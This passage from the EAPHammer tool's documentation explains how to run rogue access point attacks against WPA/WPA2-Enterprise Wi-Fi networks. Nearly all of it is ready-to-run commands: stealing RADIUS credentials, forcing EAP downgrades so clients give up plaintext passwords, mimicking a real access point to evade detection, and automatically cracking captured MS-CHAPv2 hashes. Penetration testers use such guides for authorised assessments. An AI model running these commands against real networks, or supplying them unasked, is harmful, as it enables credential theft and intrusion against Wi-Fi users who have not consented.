VIII. Attacking WPA EAP and WPA2 EAP Networks

To execute a rogue access point attack against a network that uses WPA2-EAP, just use the --auth flag as shown below:

./eaphammer -i wlan0 \
	-e mysecurenetwork \
	--auth wpa-eap

By default, eaphammer will use WPA2 rather than WPA. However, you can specify the WPA version manually using the ---wpa-version flag as shown below:

# use WPA2
./eaphammer -i wlan0 \
	-e equihax \
	--auth wpa-eap \
	--wpa-version 2

# use WPA
./eaphammer -i wlan0 \
	-e pwnera \
	--auth wpa-eap \
	--wpa-version 1

There is no need to specify an EAP type, as eaphammer will negotiate the EAP type on a victim-by-victim basis as they connect to the rogue AP. EAPHammer will automatically use the least secure EAP type supported by the client in order to make cracking attempts easier.

VIII.1 - Considerations When Attacking WPA2-EAP Networks

For the most part, attacks against WPA2-EAP networks require creds in order to work. The exception for this that you don't need creds to steal creds (because that's just redundant). The reason for this is that the more advanced forms of WPA2-EAP use MS-CHAPv2, which requires mutual authentication between the wireless client and the access point. In other words, if you cannot prove knowledge of the victim's password, you will not be able to get the victim to fully associate with you.

Fortunately, you have a couple of options available to you. The first option is to simply steal a bunch of RADIUS creds using the --creds flag (see II. Stealing RADIUS Credentials Using EAPHammer for instructions on how to do this. You can then crack the creds offline, then return and finish the attack later. This method will work regardless of the strength of the user's password due to weaknesses found in MS-CHAPv2 (see Defeating PPTP VPNs and WPA2 Enterprise with MS-CHAPv2 | DC20 | Moxie Marlinspike and David Hulton). You will also have to add the cracked RADIUS creds to EAPHammer's database. Please refer to IX. EAPHammer User Database for instructions on how to do this.

For victims with weak passwords, you can use the --autocrack flag in order to perform an auto crack 'n add attack (see VIII.3 - Using AutoCrack for usage instructions, see Improvements In Rogue AP Attacks - MANA 1/2 for details on how this attack works).

VIII.2 - Controlling EAP Negotiation (EAP Downgrade Attacks)

EAPHammer supports the ability to perform a variety of EAP Downgrade attacks (including the GTC Downgrade attack) to attempt to force client devices to surrender plaintext credentials.

This is actually a pretty lengthy topic, so please refer to the following blog post if you want to understand more about this functionality:

• http://solstice.sh/wireless/eaphammer/2019/09/09/eap-downgrade-attacks/

VIII.2.a - Balanced Approach (default)

EAPHammer's default bevahior is to suggest the following sequences of EAP methods during EAP negotiation:

# Phase 1 (outer authentication)
PEAP,TTLS,TLS,FAST

# Phase 2  (inner authentication)
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

EAPHammer first attempts to downgrade to GTC, and then immediately falls back to stronger EAP methods if the attempt fails. This balanced approach is designed to maximize impact while minimizing the risk of protracted EAP negotiations.

To execute this attack, run EAPHammer with the --negotiate balanced flag:

./eaphammer --interface wlan0 \
	--negotiate balanced \
	--auth wpa-eap \
	--essid example \
	--creds

Alternatively, just omit the --negotiate flag altogether:

./eaphammer --interface wlan0 \
	--auth wpa-eap \
	--essid example \
	--creds

VIII.2.b Full EAP downgrade (weakest to strongest)

Should you want to perform a full EAP downgrade attack, you can do so using the --negotiate weakest flag:

./eaphammer --interface wlan0 \
	--negotiate weakest \
	--auth wpa-eap \
	--essid example \
	--creds

This will instruct EAPHammer to suggest the following sequences of EAP methods during EAP negotiation:

# Phase 1 (outer authentication)
PEAP,TTLS,TLS,FAST

# Phase 2 (inner authentication)
GTC,TTLS-PAP,MD5,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,TTLS-MSCHAPV2,TTLS

Keep in mind that using this option may lead to long EAP negotiation times, which can be detrimental to the overall effectiveness of your attack.

VIII.2.c Speed optimized approach (strongest to weakest)

In this mode, EAPHammer proposes the EAP methods that are most likely to succeed first:

./eaphammer --interface wlan0 \
	--negotiate speed \
	--auth wpa-eap \
	--essid example \
	--creds

This will instruct EAPHammer to suggest the following sequences of EAP methods during EAP negotiation:

# Phase 1 (outer authentication)
PEAP,TTLS,TLS,FAST

# Phase 2 (inner authentication)
MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,GTC,TTLS-PAP,TTLS-MSCHAP,MD5

Use this mode if you have trouble getting clients to finish the EAP authentication process using the default mode.

VIII.2.d Explicit GTC downgrade attack

To execute @W00Tock's highly efficient GTC downgrade implementation, use the --negotiate gtc-downgrade flag:

./eaphammer --interface wlan0 \
	--negotiate gtc-downgrade \
	--auth wpa-eap \
	--essid example \
	--creds

This will instruct EAPHammer to suggest the following sequences of EAP methods during EAP negotiation:

# Phase 1 (outer authentication)
PEAP [ver=1]

# Phase 2 (inner authentication)
GTC

See https://twitter.com/w00tock/status/1019251419310972930 for source of this attack.

VIII.2.e Manually controlling EAP negotiation

To manually control which EAP methods are used by EAPHammer, as well as the order in which they are suggested to the client, use the --negotiate manual flag in conjuction with the --phase-2-methods and --phase-1-methods flags:

./eaphammer --interface wlan0 \
	--negotiate manual \
	--phase-1-methods PEAP,TTLS \
	--phase-2-methods MSCHAPV2,GTC,TTLS-MSCHAP \
	--auth wpa-eap \
	--essid example \
	--creds

Manual control over the EAP negotiation process is useful in situations where the access point's behavior must be mimicked in order to evade detection.

VIII.2.f Custom EAP User files

To use your own EAP User file, instead of relying on EAPHammer's automated processes, run EAPHammer with the --eap-user-file flag:

./eaphammer --interface wlan0 \
	--eap-user-file /tmp/i-like-to-write-things-by-hand.eap_user \
	--auth wpa-eap \
	--essid painful \
	--creds

VIII.3 - Using AutoCrack

"Autocrack 'n add" is a technique introduced by Dominic White and Ian de Villiers in 2014 which was first introduced into their Mana Toolkit. When autocrack ‘n add is used, the captured MS-CHAPv2 challenge and response is immediately sent to a cracking rig (local or remote) before the authentication response is sent to the victim. The cracked credentials are then appended to the end of the eap_user file. If the challenge and response are cracked fast enough, the cracked credentials are added to eap_user file before hostapd attempts to retrieve them. Even if the challenge and response cannot be cracked in time, the attack will succeed when the client attempts to reauthenticate provided the password can be cracked within a short period of time. When weak passwords are used, this process can take seconds. See the original Improvements In Rogue AP Attacks - MANA 1/2 blog post for a more detailed explanation of this attack.

To use EAPHammer's builtin AutoCrack capability, just include the --autocrack flag with whatever attack you are attempting to perform. For example, to enable AutoCrack while performing a Hostile Portal attack, you can use the following command:

./eaphammer -i wlan0 \
	--essid EvilC0rp \
	-c 6 \
	--auth wpa-eap  \
	--hostile-portal \
	--autocrack

Note: At this time, EAPHammer only supports performing an autocrack 'n add using EAPHammer's internal hash cracking capability. Unless you're using a cracking rig to run EAPHammer, this is going to be very slow. Support for sending hashes to a remote cracking rig will be added in the future.

Note: Hostapd loads known usernames and passwords into memory at startup. This means that you'll have to manually restart your rogue AP every time new creds captured using autocrack 'n add. This will result in a delay of few seconds, and will also require you to personally supervise your rogue AP (which you should probably be doing anyways if you care about tradecraft...). Fixing this issue would require fundamental changes to the way hostapd works, which the developer has zero interest in implementing or maintaining.